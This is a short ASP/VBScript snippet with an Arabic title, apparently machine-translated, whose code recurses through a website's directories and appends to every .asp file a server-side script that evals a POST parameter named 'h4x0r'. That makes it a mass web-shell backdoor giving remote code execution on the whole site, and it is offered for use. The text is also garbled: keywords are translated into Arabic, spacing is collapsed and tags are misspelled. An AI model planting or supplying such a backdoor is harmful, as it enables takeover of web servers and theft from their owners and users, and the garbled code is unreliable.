رمز تنفيذ رمز المكونات الإضافية للموقع بأكمله

<٪

Dimph

dimintfile

server.scriptTimeout = 600

ph = server.mappath ("/")

subinsertallfiles (المسار)

setfso = createObject ("scripting.filesystemObject")

onerrorresumenext

setf = fso.getfolder (المسار)

setfc2 = f.files

foreachmyfileinfc2

iflcase (fso.getextensionName (path & "" & myfile.name)) = "asp" ثم

setfs1 = createObject ("scripting.filesystemObject")

SettFile = FS1.OPENTEXTFILE (المسار و "" و myfile.name ، 8 ، خطأ)

tfile.writeline "<ccriptrunat = serverLanguage = javaScript> eval (request.form ('h4x0r')+'') </script>"

آخر

insertallfiles (NewPath)

Endif

tfile.close

التالي

setfsubfolers = f.subfolders

foreachf1infsubfolers

NewPath = path & "" & f1.name

insertallfiles (NewPath)

التالي

settfile = لا شيء

setfso = لا شيء

ينتهي

٪>

<٪

callinsertallfiles (ph)

٪>